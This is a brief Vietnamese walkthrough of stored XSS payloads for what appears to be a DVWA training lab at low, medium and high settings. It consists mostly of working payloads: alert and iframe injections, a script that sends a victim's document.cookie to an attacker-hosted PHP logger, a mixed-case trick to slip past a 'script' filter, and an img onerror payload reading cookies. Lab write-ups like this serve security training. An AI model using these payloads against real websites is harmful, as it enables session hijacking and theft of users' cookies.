I.

LOW

1/ Hiện thị lên bảng ký tự bạn muốn

<script>alert("Hello ptit");</scrip>

2/ Điều hướng sang trang khác

<iframe src="http://www.nettruyen.com"></iframe>

3/ Xem cookie của trang

<script>alert(document.cookie);</script>

4/ Đánh cắp cookie khi truy cập vào một trang web với đoạn mã php và file log

<script>location.href=' trang web bạn tải lên 2 file php và log và thêm vào :
?cookie='+document.cookie;</script>

II. MEDIUM

Viết giống như chế độ low nhưng đổi ngược vị trí dòng script sẽ viết trên dòng name và ngược lại
dòng name sẽ viết ở message.

Tuy nhiên chế độ medium sẽ lọc từ script cả viết thường lẫn hoa lên ta phải viết xen kẽ thường hoa
để có thể truy cập được.

<ScRscriptiPt>alert("cc");</ScRscriptiPt>

III. HiHG

Ở chế độ high sẽ loại bỏ việc sử dụng các đoạn mã bắt đầu bằng <> và kt bằng </> lên ta phải phụ
thuộc vào các thẻ html khác như src, img, body,...

<img src=nosource onerror=alert(document.cookie)>

Cũng viết đổi ngược vị trí như chế độ MEDIUM